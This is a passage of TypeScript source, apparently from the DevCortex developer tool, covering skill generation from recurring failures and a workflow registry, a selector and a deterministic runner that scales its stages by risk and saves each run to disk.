triggers. */\nconst TRIGGER_STOP_TOKENS: ReadonlySet<string> = new Set([\n 'cmd',\n 'exit',\n 'exitcode',\n 'code',\n 'claim',\n]);\n\n/**\n * Build a deterministic, experimental {@link SkillManifest} from a diagnosed\n * recurring failure.\n *\n * The manifest is a pure function of `failure` — its id (`remedy-<failure-id>`),\n * triggers (the diagnosis category plus meaningful signature keywords), the\n * category-specific checklist and its timestamps all derive from the input, so\n * the same failure always generates the same skill (no clock, no randomness).\n * The result is passed through {@link assertValidSkill} before being returned,\n * so a caller can install it directly with confidence it satisfies the strict\n * contract.\n *\n * @throws SchemaValidationError when `failure` is not a valid LearnedFailure.\n */\nexport function generateSkillFromFailure(failure: LearnedFailure): SkillManifest {\n const parsed = LearnedFailureSchema.safeParse(failure);\n if (!parsed.success) {\n throw new SchemaValidationError('generateSkillFromFailure() requires a valid LearnedFailure.', {\n details: parsed.error.issues,\n cause: parsed.error,\n });\n }\n const f = parsed.data;\n const createdAt = f.createdAt || f.updatedAt || GENERATED_FALLBACK_AT;\n const updatedAt = f.updatedAt || f.createdAt || GENERATED_FALLBACK_AT;\n const plural = f.occurrences === 1 ? '' : 's';\n\n const skill: SkillManifest = {\n id: `remedy-${f.id}`,\n name: `Remedy for recurring ${f.diagnosis.category} failure`,\n description: `Auto-generated from ${f.occurrences} recurring \"${f.diagnosis.category}\" failure${plural}. ${f.diagnosis.cause}`.trim(),\n triggers: deriveTriggers(f),\n checklist: [\n CHECKLIST_BY_CATEGORY[f.diagnosis.category],\n `Reproduce the recorded failure before editing (signature: ${f.signature}).`,\n 'Fix the root cause, not the symptom — never suppress or silence the error.',\n 'Re-run the exact check that was refuted and confirm it now passes.',\n ],\n commands: [],\n antiPatterns: [`Repeating the change that produced: ${f.signature}`],\n mcpRecommendations: MCP_BY_CATEGORY[f.diagnosis.category] ?? [],\n status: 'experimental',\n source: 'project-generated',\n createdAt,\n updatedAt,\n };\n\n // Defensive: the construction above always satisfies the strict contract\n // (category guarantees ≥1 trigger and ≥1 checklist step); this makes that an\n // enforced invariant so a future edit cannot silently emit an invalid skill.\n assertValidSkill(skill, 'generate');\n return skill;\n}\n\n/** Non-empty trigger set: the diagnosis category plus meaningful signature keywords. */\nfunction deriveTriggers(failure: LearnedFailure): string[] {\n const out: string[] = [];\n const seen = new Set<string>();\n for (const candidate of [failure.diagnosis.category, ...tokenize(failure.signature, 3)]) {\n if (candidate.length > 0 && !TRIGGER_STOP_TOKENS.has(candidate) && !seen.has(candidate)) {\n seen.add(candidate);\n out.push(candidate);\n }\n }\n return out.slice(0, 8);\n}\n\n// --- shared tokenizer -------------------------------------------------------\n\n/**\n * Lowercased alphanumeric tokens (runs of length ≥ `min`), deduped and\n * order-preserving. The single deterministic tokenizer behind recommendation\n * matching and trigger derivation.\n */\nfunction tokenize(text: string, min = 1): string[] {\n const out: string[] = [];\n const seen = new Set<string>();\n for (const raw of text.toLowerCase().split(/[^a-z0-9]+/)) {\n if (raw.length >= min && !seen.has(raw)) {\n seen.add(raw);\n out.push(raw);\n }\n }\n return out;\n}\n","// ============================================================================\n// Workflow Orchestrator (§7.15) — the workflow registry.\n//\n// `workflowDefinitions` is the code-level catalogue of the 15 named workflows.\n// Each definition declares the task types it serves, the ordered subset of the\n// 13 canonical stages it runs, and an optional `minRisk` floor. The registry is\n// validated at module load (analogous to the stack-pack registry): a malformed\n// definition throws a DevCortexError('INTERNAL') at import time rather than\n// silently shipping a broken workflow to a host agent.\n//\n// Additive to the frozen contract; relative imports omit extensions.\n// ============================================================================\n\nimport { DevCortexError } from '../domain';\nimport {\n TASK_TYPES,\n WORKFLOW_IDS,\n WORKFLOW_STAGES,\n type RiskLevel,\n type TaskType,\n type WorkflowDefinition,\n type WorkflowId,\n type WorkflowStage,\n} from '../domain';\n\n// --- risk ordering (local, tokenless) ---------------------------------------\n\n/** Total order over risk levels; higher rank = more risk. */\nexport const RISK_RANK: Record<RiskLevel, number> = {\n low: 0,\n medium: 1,\n high: 2,\n critical: 3,\n};\n\n/** True when `risk` is at least as severe as `floor`. */\nexport function riskAtLeast(risk: RiskLevel, floor: RiskLevel): boolean {\n return RISK_RANK[risk] >= RISK_RANK[floor];\n}\n\n// --- depth scaling ----------------------------------------------------------\n\n/**\n * The minimum run risk at which each stage actually executes. A stage that is\n * present in a workflow definition but whose floor is above the run's risk is\n * recorded as `skipped` — this is the \"workflow depth depends on risk\"\n * requirement (§7.15): low-risk work skips the deep analysis stages.\n *\n * `execute` is a special case (always a handoff to the host agent) handled by\n * the runner, not by this table.\n */\nexport const STAGE_MIN_RISK: Record<WorkflowStage, RiskLevel> = {\n classify: 'low',\n intent: 'low',\n context: 'low',\n 'blast-radius': 'medium',\n 'stack-pack': 'low',\n research: 'medium',\n plan: 'low',\n execute: 'low',\n verify: 'low',\n regression: 'high',\n memory: 'low',\n 'ship-report': 'low',\n learn: 'low',\n};\n\n// --- canonical stage helpers ------------------------------------------------\n\n/** Canonical position of every stage, used to enforce ordered subsets. */\nconst STAGE_ORDER: ReadonlyMap<WorkflowStage, number> = new Map(\n WORKFLOW_STAGES.map((stage, index) => [stage, index] as const),\n);\n\n/**\n * Stages every workflow must contain — the spine of \"classify → ... → learn\"\n * that gives every run an intent, a verification, a memory write, a ship\n * report, and a learning step regardless of task type.\n */\nconst SPINE_STAGES: readonly WorkflowStage[] = [\n 'classify',\n 'intent',\n 'context',\n 'plan',\n 'execute',\n 'verify',\n 'memory',\n 'ship-report',\n 'learn',\n];\n\n/** All 13 stages in canonical order — the maximal workflow. */\nconst ALL_STAGES: readonly WorkflowStage[] = [...WORKFLOW_STAGES];\n\n/** Spine + a blast-radius/regression pass (change-safety without full research). */\nconst CHANGE_SAFE_STAGES: readonly WorkflowStage[] = [\n 'classify',\n 'intent',\n 'context',\n 'blast-radius',\n 'plan',\n 'execute',\n 'verify',\n 'regression',\n 'memory',\n 'ship-report',\n 'learn',\n];\n\n/** Spine + stack-pack guidance (guidance without blast-radius/regression). */\nconst GUIDED_STAGES: readonly WorkflowStage[] = [\n 'classify',\n 'intent',\n 'context',\n 'stack-pack',\n 'plan',\n 'execute',\n 'verify',\n 'memory',\n 'ship-report',\n 'learn',\n];\n\n/** Spine + stack-pack + research (best-practice lookup, no blast/regression). */\nconst GUIDED_RESEARCH_STAGES: readonly WorkflowStage[] = [\n 'classify',\n 'intent',\n 'context',\n 'stack-pack',\n 'research',\n 'plan',\n 'execute',\n 'verify',\n 'memory',\n 'ship-report',\n 'learn',\n];\n\n// --- the registry -----------------------------------------------------------\n\nconst REGISTERED: readonly WorkflowDefinition[] = [\n {\n id: 'feature.build',\n name: 'Build a feature',\n taskTypes: ['feature'],\n stages: [...ALL_STAGES],\n minRisk: 'low',\n },\n {\n id: 'bug.fix',\n name: 'Fix a bug',\n taskTypes: ['bugfix'],\n stages: [...CHANGE_SAFE_STAGES],\n minRisk: 'low',\n },\n {\n id: 'ui.polish',\n name: 'Polish the UI',\n taskTypes: ['ui'],\n stages: [...GUIDED_STAGES],\n minRisk: 'low',\n },\n {\n id: 'auth.change',\n name: 'Change authentication/authorization',\n taskTypes: ['auth'],\n stages: [...ALL_STAGES],\n minRisk: 'high',\n },\n {\n id: 'billing.add',\n name: 'Add or change billing',\n taskTypes: ['billing'],\n stages: [...ALL_STAGES],\n minRisk: 'high',\n },\n {\n id: 'database.migrate',\n name: 'Migrate the database',\n taskTypes: ['database'],\n stages: [...ALL_STAGES],\n minRisk: 'high',\n },\n {\n id: 'api.integrate',\n name: 'Integrate an API',\n taskTypes: ['api'],\n stages: [...ALL_STAGES],\n minRisk: 'medium',\n },\n {\n id: 'dependency.upgrade',\n name: 'Upgrade a dependency',\n taskTypes: ['dependency'],\n stages: [...ALL_STAGES],\n minRisk: 'medium',\n },\n {\n id: 'security.patch',\n name: 'Patch a security issue',\n taskTypes: ['security'],\n stages: [...ALL_STAGES],\n minRisk: 'high',\n },\n {\n id: 'devops.fix',\n name: 'Fix a devops/infrastructure issue',\n taskTypes: ['devops'],\n stages: [...ALL_STAGES],\n minRisk: 'low',\n },\n {\n id: 'deploy.prepare',\n name: 'Prepare a deploy',\n taskTypes: ['devops', 'release'],\n stages: [...ALL_STAGES],\n minRisk: 'high',\n },\n {\n id: 'refactor.safe',\n name: 'Refactor safely',\n taskTypes: ['refactor', 'chore'],\n stages: [...ALL_STAGES],\n minRisk: 'low',\n },\n {\n id: 'test.generate',\n name: 'Generate tests',\n taskTypes: ['test'],\n stages: [...GUIDED_RESEARCH_STAGES],\n minRisk: 'low',\n },\n {\n id: 'docs.sync',\n name: 'Sync documentation',\n taskTypes: ['docs'],\n stages: [...SPINE_STAGES],\n minRisk: 'low',\n },\n {\n id: 'release.prepare',\n name: 'Prepare a release',\n taskTypes: ['release'],\n stages: [...ALL_STAGES],\n minRisk: 'medium',\n },\n];\n\n// --- load-time validation ---------------------------------------------------\n\nconst VALID_TASK_TYPES: ReadonlySet<TaskType> = new Set(TASK_TYPES);\nconst VALID_STAGES: ReadonlySet<WorkflowStage> = new Set(WORKFLOW_STAGES);\n\n/**\n * Validate a single workflow definition (id, name, task types, and an ordered,\n * spine-complete stage subset). Exported so custom/user-supplied workflows can\n * be checked with the same rules the built-in registry is held to.\n *\n * @throws DevCortexError('INTERNAL') on the first structural problem found.\n */\nexport function assertValidWorkflowDefinition(def: WorkflowDefinition): void {\n if (!WORKFLOW_IDS.includes(def.id)) {\n throw new DevCortexError('INTERNAL', `workflow \"${String(def.id)}\" is not a known WorkflowId`, {\n details: { id: def.id },\n });\n }\n if (def.name.trim().length === 0) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" has an empty name`);\n }\n\n // Task types: non-empty, all valid, no duplicates.\n if (def.taskTypes.length === 0) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" declares no task types`);\n }\n const seenTypes = new Set<TaskType>();\n for (const type of def.taskTypes) {\n if (!VALID_TASK_TYPES.has(type)) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" references unknown task type \"${String(type)}\"`, {\n details: { taskType: type },\n });\n }\n if (seenTypes.has(type)) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" lists duplicate task type \"${type}\"`);\n }\n seenTypes.add(type);\n }\n\n // Stages: non-empty, all valid, no duplicates, canonical order, spine present.\n if (def.stages.length === 0) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" declares no stages`);\n }\n const seenStages = new Set<WorkflowStage>();\n let previousOrder = -1;\n for (const stage of def.stages) {\n if (!VALID_STAGES.has(stage)) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" references unknown stage \"${String(stage)}\"`, {\n details: { stage },\n });\n }\n if (seenStages.has(stage)) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" lists duplicate stage \"${stage}\"`);\n }\n seenStages.add(stage);\n const order = STAGE_ORDER.get(stage) ?? -1;\n if (order <= previousOrder) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" lists stage \"${stage}\" out of canonical order`, {\n details: { stage, order, previousOrder },\n });\n }\n previousOrder = order;\n }\n for (const spine of SPINE_STAGES) {\n if (!seenStages.has(spine)) {\n throw new DevCortexError('INTERNAL', `workflow \"${def.id}\" is missing required spine stage \"${spine}\"`, {\n details: { missing: spine },\n });\n }\n }\n}\n\n/**\n * Validate a whole workflow registry: correct count, unique ids covering every\n * WorkflowId, each definition individually valid, and every TaskType served by\n * at least one workflow (so {@link selectWorkflow} is total).\n *\n * @throws DevCortexError('INTERNAL') on the first structural problem found.\n */\nexport function validateWorkflowRegistry(defs: readonly WorkflowDefinition[]): void {\n if (defs.length !== WORKFLOW_IDS.length) {\n throw new DevCortexError(\n 'INTERNAL',\n `workflow registry has ${defs.length} definitions; expected ${WORKFLOW_IDS.length}`,\n { details: { got: defs.length, expected: WORKFLOW_IDS.length } },\n );\n }\n\n const seenIds = new Set<WorkflowId>();\n for (const def of defs) {\n assertValidWorkflowDefinition(def);\n if (seenIds.has(def.id)) {\n throw new DevCortexError('INTERNAL', `duplicate workflow id \"${def.id}\" in the registry`);\n }\n seenIds.add(def.id);\n }\n\n // Every WorkflowId must have exactly one definition.\n for (const id of WORKFLOW_IDS) {\n if (!seenIds.has(id)) {\n throw new DevCortexError('INTERNAL', `workflow registry is missing a definition for \"${id}\"`);\n }\n }\n\n // Every TaskType must be served by at least one workflow, so `selectWorkflow`\n // is total over the task taxonomy.\n const coveredTypes = new Set<TaskType>();\n for (const def of defs) {\n for (const type of def.taskTypes) {\n coveredTypes.add(type);\n }\n }\n for (const type of TASK_TYPES) {\n if (!coveredTypes.has(type)) {\n throw new DevCortexError('INTERNAL', `no workflow serves task type \"${type}\"`, {\n details: { taskType: type },\n });\n }\n }\n}\n\nvalidateWorkflowRegistry(REGISTERED);\n\n/** The 15 named workflows (§7.15), validated at module load. */\nexport const workflowDefinitions: WorkflowDefinition[] = REGISTERED.map((def) => ({\n ...def,\n taskTypes: [...def.taskTypes],\n stages: [...def.stages],\n}));\n\n/** Look up a definition by id; throws when the id is unknown. */\nexport function getWorkflowDefinition(id: WorkflowId): WorkflowDefinition {\n const def = workflowDefinitions.find((candidate) => candidate.id === id);\n if (def === undefined) {\n throw new DevCortexError('INTERNAL', `unknown workflow id \"${String(id)}\"`, { details: { id } });\n }\n return def;\n}\n","// ============================================================================\n// Workflow selection (§7.15).\n//\n// `selectWorkflow` maps a (taskType, risk) pair to exactly one workflow,\n// deterministically. The registry is validated at load to cover every task\n// type, so selection is total. When several workflows serve the same task type\n// (e.g. `devops.fix` and `deploy.prepare` both serve `devops`), the tie is\n// broken by risk fit — see `orderCandidatesByRisk`:\n// - Among workflows whose `minRisk` floor the run satisfies, prefer the one\n// with the HIGHEST floor (the most risk-specific workflow), then the most\n// specific (fewest task types), then registry order.\n// - If the run's risk is below every candidate's floor, fall back to the\n// candidate with the LOWEST floor (the nearest reachable workflow).\n// ============================================================================\n\nimport { DevCortexError } from '../domain';\nimport { RISK_LEVELS, TASK_TYPES, WORKFLOW_IDS, type RiskLevel, type TaskType, type WorkflowDefinition } from '../domain';\n\nimport { RISK_RANK, riskAtLeast, workflowDefinitions } from './definitions';\n\n/** Registry position of each workflow id, for a stable final tie-break. */\nconst ID_INDEX: ReadonlyMap<string, number> = new Map(WORKFLOW_IDS.map((id, index) => [id, index] as const));\n\nfunction floorRank(def: WorkflowDefinition): number {\n return RISK_RANK[def.minRisk ?? 'low'];\n}\n\nfunction idIndex(def: WorkflowDefinition): number {\n return ID_INDEX.get(def.id) ?? Number.MAX_SAFE_INTEGER;\n}\n\n/**\n * Order candidate workflows by fitness for `risk`, best first. Candidates whose\n * `minRisk` floor the run satisfies come first, ordered by highest floor, then\n * fewest task types (most specific), then registry order. If NO candidate's\n * floor is satisfied, the whole list is ordered by lowest floor first (the\n * nearest reachable workflow) using the same secondary/tertiary tie-breaks.\n *\n * Pure and deterministic — exported so a surface can explain \"why this\n * workflow\" and so the tie-breaking is independently testable.\n */\nexport function orderCandidatesByRisk(\n candidates: readonly WorkflowDefinition[],\n risk: RiskLevel,\n): WorkflowDefinition[] {\n const applicable = candidates.filter((def) => riskAtLeast(risk, def.minRisk ?? 'low'));\n\n if (applicable.length > 0) {\n return [...applicable].sort(\n (a, b) =>\n floorRank(b) - floorRank(a) ||\n a.taskTypes.length - b.taskTypes.length ||\n idIndex(a) - idIndex(b),\n );\n }\n\n return [...candidates].sort(\n (a, b) =>\n floorRank(a) - floorRank(b) ||\n a.taskTypes.length - b.taskTypes.length ||\n idIndex(a) - idIndex(b),\n );\n}\n\n/**\n * Select the workflow that best serves `taskType` at the given `risk`.\n *\n * @throws DevCortexError('INTERNAL') when `taskType`/`risk` are not valid enum\n * members, or (defensively) when the registry serves no workflow for the type\n * — the latter is unreachable given load-time coverage validation.\n */\nexport function selectWorkflow(taskType: TaskType, risk: RiskLevel): WorkflowDefinition {\n if (!TASK_TYPES.includes(taskType)) {\n throw new DevCortexError('INTERNAL', `selectWorkflow: unknown task type \"${String(taskType)}\"`, {\n details: { taskType },\n });\n }\n if (!RISK_LEVELS.includes(risk)) {\n throw new DevCortexError('INTERNAL', `selectWorkflow: unknown risk level \"${String(risk)}\"`, {\n details: { risk },\n });\n }\n\n const candidates = workflowDefinitions.filter((def) => def.taskTypes.includes(taskType));\n if (candidates.length === 0) {\n // Unreachable given registry coverage validation, but never fail silently.\n throw new DevCortexError('INTERNAL', `no workflow serves task type \"${taskType}\"`, {\n details: { taskType },\n });\n }\n\n const ordered = orderCandidatesByRisk(candidates, risk);\n const best = ordered[0];\n if (best === undefined) {\n throw new DevCortexError('INTERNAL', `no workflow serves task type \"${taskType}\"`, {\n details: { taskType },\n });\n }\n return best;\n}\n","// ============================================================================\n// Workflow Orchestrator (§7.15) — deterministic execution engine.\n//\n// `runWorkflow` executes a workflow's ordered stages against the project graph\n// and ledgers, scaling depth by risk (low risk skips the deep analysis stages),\n// and persists a `WorkflowRun` under `.cortex/workflows/<id>.json`.\n//\n// Everything here is deterministic and tokenless (the OSS layer): no LLM calls,\n// no network. Real work is delegated to the sibling engines (policy, compilers,\n// blast-radius, stackpacks, gates, ledgers); this module sequences them and\n// records the outcome. The `execute` stage is a NO-OP handoff — the host agent\n// performs edits; DevCortex records evidence for what results.\n// ============================================================================\n\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, readdir, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { Dirent } from 'node:fs';\n\nimport { DevCortexError, SchemaValidationError, WorkflowRunSchema } from '../domain';\nimport type {\n BlastRadius,\n ContextPack,\n CortexConfig,\n EvidenceItem,\n EvidenceRef,\n IntentContract,\n ProjectGraph,\n RiskClassification,\n RiskLevel,\n ShipReport,\n StackPack,\n StageOutcome,\n WorkflowId,\n WorkflowRun,\n WorkflowRunStatus,\n WorkflowStage,\n} from '../domain';\nimport { analyzeBlastRadius } from '../blast-radius';\nimport { compileContext, compileIntent } from '../compilers';\nimport { generateShipReport, runQualityGate } from '../gates';\nimport type { DecisionLedger, EvidenceLedger, FeatureLedger, MemoryLedger } from '../ledgers';\nimport { classifyRisk, depthForRisk } from '../policy';\nimport { matchPacks } from '../stackpacks';\nimport { workspacePaths } from '../workspace';\n\nimport { RISK_RANK, STAGE_MIN_RISK, getWorkflowDefinition } from './definitions';\n\n// --- public types -----------------------------------------------------------\n\n/** The four ledgers a workflow run reads from and writes to. */\nexport interface WorkflowLedgers {\n memory: MemoryLedger;\n feature: FeatureLedger;\n decision: DecisionLedger;\n evidence: EvidenceLedger;\n}\n\n/** Everything `runWorkflow` needs beyond the repo root, task, and workflow id. */\nexport interface WorkflowDeps {\n graph: ProjectGraph;\n config: CortexConfig;\n ledgers: WorkflowLedgers;\n}\n\n// --- on-disk layout ---------------------------------------------------------\n\n/** `.cortex/workflows` — runs live here, one `<id>.json` per execution. */\nfunction workflowsDir(root: string): string {\n return path.join(workspacePaths(root).cortexDir, 'workflows');\n}\n\n/** Prefix every persisted workflow run id carries. */\nconst RUN_ID_PREFIX = 'wf-';\n\n// --- mutable per-run state --------------------------------------------------\n\ninterface RunState {\n intent?: IntentContract;\n contextPack?: ContextPack;\n blast?: BlastRadius;\n gateEvidence: EvidenceItem[];\n gatePassed?: boolean;\n memoryItemId?: string;\n shipReport?: ShipReport;\n}\n\n// --- public API -------------------------------------------------------------\n\n/**\n * Execute a workflow deterministically and persist the resulting\n * {@link WorkflowRun}. Stage-level errors are captured into the run (status\n * `failed`) rather than thrown; only invalid inputs throw before execution\n * begins.\n *\n * @throws SchemaValidationError when `root`/`task`/`deps` are structurally\n * invalid.\n * @throws DevCortexError('INTERNAL') when `workflowId` is unknown.\n */\nexport async function runWorkflow(\n root: string,\n workflowId: WorkflowId,\n task: string,\n deps: WorkflowDeps,\n): Promise<WorkflowRun> {\n assertRoot(root);\n assertTask(task);\n assertDeps(deps);\n const def = getWorkflowDefinition(workflowId);\n\n const { graph, config, ledgers } = deps;\n const startedAt = new Date().toISOString();\n const runId = buildRunId(startedAt);\n\n const outcomes: StageOutcome[] = [];\n const blockedReasons: string[] = [];\n const state: RunState = { gateEvidence: [] };\n let fatal = false;\n\n // Classification is foundational: it drives task type, risk, and therefore the\n // depth scaling of every later stage. A failure here fails the run outright.\n let classification: RiskClassification;\n try {\n classification = classifyRisk(task, graph, config);\n } catch (err) {\n outcomes.push({\n stage: 'classify',\n status: 'failed',\n detail: `stage threw: ${errorMessage(err)}`,\n evidenceIds: [],\n });\n return persistRun(root, {\n id: runId,\n workflowId: def.id,\n task,\n riskLevel: 'low',\n startedAt,\n finishedAt: new Date().toISOString(),\n status: 'failed',\n stages: outcomes,\n });\n }\n\n const risk = classification.riskLevel;\n const depth = depthForRisk(risk);\n\n // Stack packs are matched once (deterministic) and memoized; failure surfaces\n // at whichever stage first needs them (intent / stack-pack / research).\n let packsCache: StackPack[] | undefined;\n const getPacks = (): StackPack[] => {\n if (packsCache === undefined) {\n packsCache = matchPacks(graph.stack);\n }\n return packsCache;\n };\n\n for (const stage of def.stages) {\n if (fatal) break;\n\n // Risk-based depth scaling: a stage whose floor exceeds the run's risk is\n // skipped. `execute` is exempt — it is always a handoff, handled below.\n if (stage !== 'execute' && aboveRisk(stage, risk)) {\n outcomes.push({\n stage,\n status: 'skipped',\n detail: `skipped at ${risk} risk (stage floor: ${STAGE_MIN_RISK[stage]})`,\n evidenceIds: [],\n });\n continue;\n }\n\n try {\n const outcome = await runStage(stage, {\n root,\n def,\n task,\n graph,\n config,\n ledgers,\n risk,\n depth,\n classification,\n getPacks,\n state,\n blockedReasons,\n priorOutcomes: outcomes,\n });\n outcomes.push(outcome);\n } catch (err) {\n fatal = true;\n outcomes.push({\n stage,\n status: 'failed',\n detail: `stage threw: ${errorMessage(err)}`,\n evidenceIds: [],\n });\n }\n }\n\n const status: WorkflowRunStatus = fatal\n ? 'failed'\n : blockedReasons.length > 0\n ? 'blocked'\n : 'completed';\n\n return persistRun(root, {\n id: runId,\n workflowId: def.id,\n task,\n riskLevel: risk,\n startedAt,\n finishedAt: new Date().toISOString(),\n status,\n stages: outcomes,\n });\n}\n\n/** All persisted workflow runs, sorted by `startedAt` then id ascending. */\nexport async function listWorkflowRuns(root: string): Promise<WorkflowRun[]> {\n assertRoot(root);\n const dir = workflowsDir(root);\n\n let entries: Dirent[];\n try {\n entries = await readdir(dir, { withFileTypes: true });\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return [];\n }\n throw new DevCortexError('INTERNAL', `Unable to list workflow runs in ${dir}.`, { cause: err });\n }\n\n const runs: WorkflowRun[] = [];\n for (const entry of entries) {\n if (!entry.isFile() || !entry.name.startsWith(RUN_ID_PREFIX) || !entry.name.endsWith('.json')) {\n continue;\n }\n const file = path.join(dir, entry.name);\n const raw = await readFile(file, 'utf8');\n runs.push(parseRun(raw, file));\n }\n\n runs.sort(compareByStartedThenId);\n return runs;\n}\n\n/** Load a single workflow run by id. Throws when it does not exist. */\nexport async function loadWorkflowRun(root: string, runId: string): Promise<WorkflowRun> {\n assertRoot(root);\n const file = runFile(root, runId);\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n throw new SchemaValidationError(`No workflow run exists with id \"${runId}\".`);\n }\n throw new DevCortexError('INTERNAL', `Unable to read workflow run at ${file}.`, { cause: err });\n }\n return parseRun(raw, file);\n}\n\n// --- stage execution --------------------------------------------------------\n\ninterface StageContext {\n root: string;\n def: ReturnType<typeof getWorkflowDefinition>;\n task: string;\n graph: ProjectGraph;\n config: CortexConfig;\n ledgers: WorkflowLedgers;\n risk: RiskLevel;\n depth: ReturnType<typeof depthForRisk>;\n classification: RiskClassification;\n getPacks: () => StackPack[];\n state: RunState;\n blockedReasons: string[];\n priorOutcomes: StageOutcome[];\n}\n\nasync function runStage(stage: WorkflowStage, ctx: StageContext): Promise<StageOutcome> {\n switch (stage) {\n case 'classify':\n return stageClassify(ctx);\n case 'intent':\n return stageIntent(ctx);\n case 'context':\n return stageContext(ctx);\n case 'blast-radius':\n return stageBlastRadius(ctx);\n case 'stack-pack':\n return stageStackPack(ctx);\n case 'research':\n return stageResearch(ctx);\n case 'plan':\n return stagePlan(ctx);\n case 'execute':\n return stageExecute();\n case 'verify':\n return stageVerify(ctx);\n case 'regression':\n return stageRegression(ctx);\n case 'memory':\n return stageMemory(ctx);\n case 'ship-report':\n return stageShipReport(ctx);\n case 'learn':\n return stageLearn(ctx);\n default: {\n const exhaustive: never = stage;\n throw new DevCortexError('INTERNAL', `Unknown workflow stage \"${String(exhaustive)}\".`);\n }\n }\n}\n\nfunction stageClassify(ctx: StageContext): StageOutcome {\n const { classification, risk } = ctx;\n return {\n stage: 'classify',\n status: 'ok',\n detail: `${classification.taskType} @ ${risk} — ${classification.rationale}`,\n evidenceIds: [],\n };\n}\n\nfunction stageIntent(ctx: StageContext): StageOutcome {\n const intent = compileIntent(ctx.task, ctx.graph, ctx.getPacks(), ctx.config);\n ctx.state.intent = intent;\n return {\n stage: 'intent',\n status: 'ok',\n detail: `goal: ${firstLine(intent.goal)} — ${intent.implementationStages.length} implementation stages, ${intent.acceptanceCriteria.length} acceptance criteria`,\n evidenceIds: [],\n };\n}\n\nasync function stageContext(ctx: StageContext): Promise<StageOutcome> {\n const intent = requireIntent(ctx, 'context');\n const pack = await compileContext(intent, ctx.graph, ctx.ledgers, ctx.depth);\n ctx.state.contextPack = pack;\n return {\n stage: 'context',\n status: 'ok',\n detail: `depth=${pack.depth}, ~${pack.tokenEstimate} tokens, ${pack.relevantFiles.length} relevant files, ${pack.constraints.length} constraints`,\n evidenceIds: [],\n };\n}\n\nfunction stageBlastRadius(ctx: StageContext): StageOutcome {\n // Proxy change set: the ranked relevant files from the context pack, falling\n // back to the graph's risky files when context did not run.\n const changed =\n ctx.state.contextPack !== undefined && ctx.state.contextPack.relevantFiles.length > 0\n ? ctx.state.contextPack.relevantFiles\n : ctx.graph.riskyFiles;\n const blast = analyzeBlastRadius(ctx.graph, changed, ctx.config);\n ctx.state.blast = blast;\n return {\n stage: 'blast-radius',\n status: 'ok',\n detail: `severity=${blast.severity}; ${blast.requiredChecks.length} required checks; auth=${blast.affectsAuth} billing=${blast.affectsBilling}; ${blast.affectedRoutes.length} routes, ${blast.affectedTests.length} tests`,\n evidenceIds: [],\n };\n}\n\nfunction stageStackPack(ctx: StageContext): StageOutcome {\n const packs = ctx.getPacks();\n return {\n stage: 'stack-pack',\n status: 'ok',\n detail:\n packs.length > 0\n ? `loaded ${packs.length} stack pack(s): ${packs.map((p) => p.id).join(', ')}`\n : 'no stack pack matched the detected stack',\n evidenceIds: [],\n };\n}\n\nfunction stageResearch(ctx: StageContext): StageOutcome {\n const packs = ctx.getPacks();\n const rules = packs.flatMap((p) => [...p.bestPractices, ...p.antiPatterns]);\n const failures = packs.flatMap((p) => p.commonFailures);\n return {\n stage: 'research',\n status: 'ok',\n detail: `${rules.length} best-practice/anti-pattern rules and ${failures.length} known failures from ${packs.length} pack(s) (local knowledge; no live web)`,\n evidenceIds: [],\n };\n}\n\nfunction stagePlan(ctx: StageContext): StageOutcome {\n const intent = requireIntent(ctx, 'plan');\n const steps = intent.implementationStages;\n return {\n stage: 'plan',\n status: 'ok',\n detail:\n steps.length > 0\n ? `${steps.length}-step plan: ${steps.map((s, i) => `${i + 1}. ${s}`).join(' | ')}`\n : 'no implementation stages were derived from intent',\n evidenceIds: [],\n };\n}\n\nfunction stageExecute(): StageOutcome {\n return {\n stage: 'execute',\n status: 'skipped',\n detail:\n 'handoff: the host agent applies the edits; the tokenless engine performs no edits and records evidence for the result.',\n evidenceIds: [],\n };\n}\n\nasync function stageVerify(ctx: StageContext): Promise<StageOutcome> {\n const { result, evidence } = await runQualityGate(ctx.root, ctx.config, ctx.graph);\n\n // Persist each evidence item (append-only) so the outcome links to durable ids.\n const evidenceIds: string[] = [];\n for (const item of evidence) {\n const persisted = await ctx.ledgers.evidence.add({\n claim: item.claim,\n status: item.status,\n kind: item.kind,\n detail: item.detail,\n ...(item.command !== undefined ? { command: item.command } : {}),\n ...(item.exitCode !== undefined ? { exitCode: item.exitCode } : {}),\n ...(item.output !== undefined ? { output: item.output } : {}),\n });\n evidenceIds.push(persisted.id);\n ctx.state.gateEvidence.push(persisted);\n }\n\n ctx.state.gatePassed = result.passed;\n const passedCount = result.checks.filter((c) => c.passed).length;\n if (!result.passed) {\n ctx.blockedReasons.push(`quality gate \"${result.gate}\" did not pass`);\n }\n return {\n stage: 'verify',\n status: result.passed ? 'ok' : 'failed',\n detail: `${result.gate}: ${result.passed ? 'passed' : 'blocked'} — ${passedCount}/${result.checks.length} checks passed`,\n evidenceIds,\n };\n}\n\nfunction stageRegression(ctx: StageContext): StageOutcome {\n const checks = ctx.state.blast?.requiredChecks ?? [];\n const risks = ctx.state.intent?.regressionRisks ?? [];\n let detail: string;\n if (checks.length > 0) {\n detail = `${checks.length} required regression checks: ${checks.join('; ')}`;\n } else if (risks.length > 0) {\n detail = `no blast-derived checks; ${risks.length} regression risk(s) from intent: ${risks.join('; ')}`;\n } else {\n detail = 'no regression checks required';\n }\n return { stage: 'regression', status: 'ok', detail, evidenceIds: [] };\n}\n\nasync function stageMemory(ctx: StageContext): Promise<StageOutcome> {\n const gatePassed = ctx.state.gatePassed ?? false;\n const evidenceRefs: EvidenceRef[] = ctx.state.gateEvidence.map((e) => ({\n id: e.id,\n claim: e.claim,\n status: e.status,\n }));\n const blastNote = ctx.state.blast !== undefined ? `; blast severity ${ctx.state.blast.severity}` : '';\n const item = await ctx.ledgers.memory.add({\n type: 'decision',\n title: `${ctx.def.name}: 